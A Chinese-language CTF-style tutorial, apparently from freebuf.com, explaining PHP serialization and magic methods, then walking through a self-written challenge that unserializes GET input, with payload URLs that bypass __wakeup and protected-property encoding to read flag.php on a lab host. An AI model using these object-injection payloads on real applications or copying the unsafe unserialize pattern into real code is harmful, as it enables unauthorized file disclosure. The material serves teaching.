什么是序列化与反序列化?
(反)序列化给我们传递对象提供了一种简单的方法。serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象,在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
序列化
序列化是将变量转换为可保存或传输的字符串的过程;在php中是使用serialize()方法实现将类进行序列化,下面是一段php序列化代码,可以通过注释理解代码含义。
<?php class LessSafe //定义一个LessSafe类 { public $name = 'LessSafe'; //定义一个name变量 public $age = 2; //定义一个age变量 function getname() //定义一个方法 { echo $this->name; } } $s = new LessSafe(); //创建一个对象 echo $s->getname()."</br>"; //调用方法 $s_serialize = serialize($s); //讲对象进行序列化 print_r($s_serialize); //打印序列化结果 ?>
序列化运行结果
反序列化结果:O:8:”LessSafe”:2:{s:4:”name”;s:8:”LessSafe”;s:3:”age”;i:2;}
O为对象Object,8为LessSafe对象名长度,2为{}内属性的个数,{}内为对象的属性,s为类型string字符串 4为属性名的长度分号;隔开后是该属性的值s为值类型为string字符串类型 4位属性名的长度 name就是属性名了(属性名为string类型要使用双引号) 8为值的长度 LessSafe是值 后面age属性与name属性类似除了值数据类型为整型i值为2
反序列化
<?php $b=unserialize($_GET[H]); //通过get传参将序列化内容传进来,使用unserialize进行反序列化处理 print_r($b); //打印反序列化结果 ?>
我在这里使用了上文序列换的结果传递到服务端进行处理并查看打印结果
http://192.168.75.138/fxlh.php?H=O:8:”LessSafe”:2:{s:4:”name”;s:8:”LessSafe”;s:3:”age”;i:2;}
魔法函数
在介绍反序列化之前,我们需要了解一下魔法函数,__construct当一个对象创建时调用(constructor);__destruct当一个对象被销毁时调用(destructor);__toString当一个对象被当作一个字符串时使用;__sleep当对一个对象序列化时,php就会调用__sleep方法(如果存在的话),__wakeup在反序列化时,php就会调用__wakeup方法(如果存在的话)。
下面是调用__construct、__destruct、__toString时案例
<?php class TestClass { public $variable = 'This is a string'; //一个变量 public function PrintVariable() //一个简单的方法 { echo $this->variable.'<br />'; } public function __construct() //Constructor { echo '__construct<br />'; } public function __destruct() //Destructor { echo '__destruct<br />'; } public function __toString() //toString { return '__toString<br />'; } } $object = new TestClass(); //创建一个对象,__construct会被调用 $object->PrintVariable(); //创建一个方法 echo $object; //对象被当作一个字符串,toString会被调用 //php脚本要结束时,__destruct会被调用 ?>
下面是调用__sleep时案例
<?php class LessSafe //定义一个LessSafe类 { public $name = 'LessSafe'; //定义一个name变量 public $age = 2; //定义一个age变量 function getname() //定义一个方法 { echo $this->name; } function __sleep() //定义__sleep魔法函数 { echo "When using serialize, __sleep() will be called"; } } $s = new LessSafe(); //创建一个对象 echo $s->getname()."</br>"; //调用方法 $s_serialize = serialize($s); //讲对象进行序列化 print_r($s_serialize); //打印序列化结果 ?>
下面是调用__wakeup时的案例
<?php class LessSafe //定义一个LessSafe类 { public $name = 'LessSafe'; //定义一个name变量 public $age = 2; //定义一个age变量 function getname() //定义一个方法 { echo $this->name; } function __wakeup() { echo"When using unserialize, __wakeup() will be called"; } } $s = new LessSafe(); //创建一个对象 echo $s->getname()."</br>"; //调用方法 unserialize($_GET[id]) ?>
一道ctf试题带你了解反序列化漏洞
ctf源代码
下面是我编写的一道简单的ctf试题,试题代码有一个LessSafe类,类中有一个变量,两个魔法函数,本题重点突破点在__destruct魔法函数,file名字也是可控的,会导致反序列化漏洞读取flage.php内容。本题有连个难点,1、需要绕过__wakeup 2、需要绕过$file的protected属性。
<?php
class LessSafe{
protected $file='index.php';
function __destruct(){
if(!empty($this->file))
{
show_source($this->file);
}
}
function __wakeup(){
$this->file='index.php';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}
else{
unserialize($_GET['file']);
}
//flag in flag.php
?>
正常思路payload
http://192.168.75.146/ctf/index.php?file=O:8:”LessSafe”:1:{s:4:”file”;s:8:”flag.php”;}
构造上述payload后发现没有读取到flag.php文件,因为LessSafe类中有__wakeup魔法函数,在使用unserialize会执行__wakeup魔法函数,将$file=’index.php’
__wakeup绕过
只需要构造序列化时,大于序列对象属性个数即可绕过__wakeup
http://192.168.75.146/ctf/index.php?file=O:8:”LessSafe”:2:{s:4:”file”;s:8:”flag.php”;}
将属性个数改成2,测试payload
what??,小朋友你是否有很多问号
那在仔细读一遍源代码吧,发现源代码中$file的属性时protected,经过学习发现有绕过protected方法
protected绕过
经过学习得到最终payload
http://192.168.75.146/ctf/index.php?file=O:8:”LessSafe”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
\00是0的二进制,S是序列换二级制表示方法(大概是这个意思)
最终拿到flag
实验代码
实验代码GitHub地址
https://github.com/lesssafe/PhpUnserialize
记得点亮star
来源:freebuf.com 2020-12-11 13:02:43 by: lesssafe
请登录后发表评论
注册